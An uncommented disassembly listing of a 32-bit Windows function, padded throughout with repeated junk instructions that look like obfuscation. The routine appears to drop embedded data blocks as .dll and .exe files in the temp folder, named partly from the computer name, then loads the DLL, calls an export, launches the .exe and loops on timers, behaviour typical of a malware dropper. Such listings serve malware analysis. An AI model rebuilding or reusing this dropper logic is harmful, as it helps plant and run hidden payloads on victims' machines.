mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x488], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x488], 0xffffffff
je 0x402039
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x402045
mov dword [ebp - 0x48c], 0
jmp 0x40204f
mov dword [ebp - 0x48c], 1
cmp dword [ebp - 0x48c], 0
je 0x402098
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x385], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x6a
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x1a
call fcn.00403520
add esp, 4
mov dword [ebp - 0x124], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x124], 0
jne 0x4020d6
jmp 0x402b2e
mov byte [ebp - 0x25e], 0
mov al, byte [ebp - 0x25e]
mov byte [ebp - 9], al
mov cl, byte [ebp - 9]
mov byte [ebp - 0x379], cl
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movzx edx, byte [ebp - 0x385]
test edx, edx
jne 0x402118
mov eax, dword [ebp - 0x258]
movsx ecx, byte [eax]
cmp ecx, 0x6a
jne 0x402127
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x402598
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
call fcn.00402e40
mov byte [ebp - 0x379], al
movsx eax, byte [ebp - 0x379]
test eax, eax
je 0x402559
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
je 0x402190
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 9], 0x6a
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x408120
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38c], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
mov dword [ebp - 0x6b4], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x6b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x402261
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x6b4]
lea eax, [ebp - 0x230]
sub edx, eax
mov dword [ebp - 0x6b8], edx
jmp 0x402282
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x6b4]
add ecx, 1
mov dword [ebp - 0x6b4], ecx
jmp 0x40221e
mov edx, dword [ebp - 0x38c]
add edx, dword [ebp - 0x6b8]
mov dword [ebp - 0x38c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x120]
push eax
push 8
mov ecx, dword [ebp - 0x38c]
push ecx
call fcn.004032b0
add esp, 0xc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push str..dll
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx eax, byte [ebp - 9]
cmp eax, 0x6a
jne 0x402557
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x31
jl 0x402331
movsx edx, byte [ebp - 0x379]
cmp edx, 0x38
jg 0x402331
mov dword [ebp - 0x870], 1
jmp 0x40233b
mov dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x380], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x61
jl 0x40237b
movsx edx, byte [ebp - 0x379]
cmp edx, 0x64
jg 0x40237b
mov dword [ebp - 0x874], 1
jmp 0x402385
mov dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 4], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x380], 0
jne 0x4023ad
cmp dword [ebp - 4], 0
je 0x4023ea
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov cl, byte [ebp - 9]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x12000
push 0x40a030
call fcn.00402b40
add esp, 0x10
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x724], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x724], 0xffffffff
je 0x402441
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x40244d
mov dword [ebp - 0x728], 0
jmp 0x402457
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 0
je 0x402557
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3a8], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x3a8], 0
je 0x402557
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x1c
call fcn.00403520
add esp, 4
mov dword [ebp - 0x384], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x408124
mov eax, dword [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46c3a0], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx ecx, byte [ebp - 0x379]
push ecx
call dword [0x46c3a0]
mov byte [ebp - 0x25e], al
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x3a8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x402596
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4025c6
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x258]
mov dl, byte [ecx]
mov byte [ebp - 0x25e], dl
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movsx eax, byte [ebp - 0x25e]
test eax, eax
jne 0x4025ec
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
jne 0x4025f7
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x402610
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x402aba
cmp dword [ebp - 8], 0x78
jle 0x402aba
mov dword [ebp - 8], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x25e], 0x6a
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea ecx, [ebp - 0x230]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x408128
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x25c], 0x7f
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea edx, [ebp - 0x230]
mov dword [ebp - 0x38c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x230]
mov dword [ebp - 0x7f4], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x7f4]
movsx edx, byte [ecx]
test edx, edx
jne 0x40272d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov eax, dword [ebp - 0x7f4]
lea ecx, [ebp - 0x230]
sub eax, ecx
mov dword [ebp - 0x7f8], eax
jmp 0x40274e
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov edx, dword [ebp - 0x7f4]
add edx, 1
mov dword [ebp - 0x7f4], edx
jmp 0x4026ea
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x38c], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea ecx, [ebp - 0x378]
push ecx
push 0xb
mov edx, dword [ebp - 0x38c]
push edx
call fcn.004032b0
add esp, 0xc
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push str..exe
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x848], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x848], 0xffffffff
je 0x402803
movsx edx, byte [ebp - 0x230]
test edx, edx
jne 0x40280f
mov dword [ebp - 0x84c], 0
jmp 0x402819
mov dword [ebp - 0x84c], 1
cmp dword [ebp - 0x84c], 0
je 0x40282d
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x40286d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov cl, byte [ebp - 0x25e]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x50000
push 0x41c038
call fcn.00402b40
add esp, 0x10
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
lea eax, [ebp - 0x378]
mov dword [ebp - 0x26c], eax
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x22
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x402904
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x24
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
cmp dword [ebp - 0x26c], 0
je 0x402927
lea eax, [ebp - 0x120]
test eax, eax
jne 0x40293c
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4029d5
mov dword [ebp - 0x86c], 0
jmp 0x402957
mov ecx, dword [ebp - 0x86c]
add ecx, 1
mov dword [ebp - 0x86c], ecx
mov edx, dword [ebp - 0x86c]
movsx eax, byte [ebp + edx - 0x120]
test eax, eax
je 0x4029a6
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov edx, dword [ebp - 0x86c]
mov al, byte [ebp + edx - 0x120]
mov byte [ecx], al
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x402948
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x26c]
add ecx, dword [ebp - 0x86c]
mov byte [ecx], 0
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movzx edx, byte [ebp - 0x231]
test edx, edx
jne 0x402a3a
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x40812c
lea eax, [ebp - 0x378]
push eax
call fcn.00403710
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 0x258]
push ecx
lea edx, [ebp - 0x378]
push edx
call fcn.00403710
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x408130
lea eax, [ebp - 0x378]
push eax
call section..text
add esp, 8
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 1
push 0
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
movzx eax, byte [ebp - 0x25d]
test eax, eax
jne 0x402b2e
cmp dword [ebp - 0x124], 0
je 0x402b2e
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
mov byte [ebp - 0x231], 1
mov al, 0x73
mov al, 0xfb
mov al, 0xf2
mov al, 0xf3
mov al, 0x36
mov al, 0x74
mov al, 0x8b
mov al, 0x4d
jmp 0x4020d6
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10